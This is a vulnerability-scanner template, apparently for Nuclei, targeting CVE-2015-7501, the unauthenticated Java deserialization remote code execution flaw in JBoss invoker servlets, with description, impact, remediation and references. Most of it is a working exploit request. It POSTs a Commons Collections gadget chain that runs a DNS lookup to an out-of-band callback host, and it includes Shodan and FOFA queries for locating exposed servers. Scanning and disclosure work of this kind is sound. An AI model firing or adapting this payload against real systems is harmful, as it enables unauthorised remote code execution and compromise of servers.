Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.
PoC
id: CVE-2015-7501
info:
name: Red Hat JBoss - Insecure Deserialization
author: pdteam,DhiyaneshDk
severity: critical
description: |
Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.
impact: |
Unauthenticated remote code execution with JBoss service account privileges. Full system compromise possible including file access, credential theft, and lateral movement. Actively exploited by threat actors targeting legacy JBoss deployments.
remediation: |
Apply Red Hat Security Advisory RHSA-2015:2538. Upgrade to JBoss EAP 7.x which removes the affected invoker servlets. Restrict access to /invoker/* endpoints via jboss-web.xml security constraints. Update Apache Commons Collections to version 3.2.2 or 4.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2015-7501
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://access.redhat.com/security/vulnerabilities/986a8488-052e-46d1-8ede-c55cbfceb822
- https://github.com/ianxtianxt/CVE-2015-7501
- https://github.com/jas502n/Jboss_JMXInvokerServlet_Deserialization_RCE
- https://www.blackduck.com/blog/mitigate-java-deserialization-vulnerability-jboss.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2015-7501
cwe-id: CWE-502
epss-score: 0.85562
epss-percentile: 0.99709
metadata:
verified: true
max-request: 7
vendor: redhat
product: jboss_enterprise_application_platform
shodan-query: http.html:"/jmx-console/" http.title:JBoss
fofa-query: 'title="JBoss" && body="/jmx-console/"'
tags: cve2015,cve,jboss,rce,deserialization,java,vulhub,redhat,oast,intrusive,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/jmx-console/"
matchers:
- type: dsl
dsl:
- 'contains_any(tolower(body), "jboss", "jmx agent", "jmx-console", "j_security_check", "jboss.system", "jboss.deployment")'
internal: true
- raw:
- |
POST §endpoint§ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-java-serialized-object
Accept: application/x-java-serialized-object
{{generate_java_gadget("commons-collections3.1", "nslookup {{interactsh-url}}", "raw")}}
attack: clusterbomb
payloads:
endpoint:
- /invoker/JMXInvokerServlet
- /invoker/EJBInvokerServlet
- /invoker/readonly
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: dsl
dsl:
- 'contains_any(tolower(body), "classcastexception","jboss")'
# digest: 4a0a0047304502204665b0d641b711b414ed7dbd1c7ae87ddc119dd37db0b60f40508e5903058f11022100c58849ddf7daca90306db1f3e5b9444e3fc536bc280793ea0b2a9db3779b9eb6:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.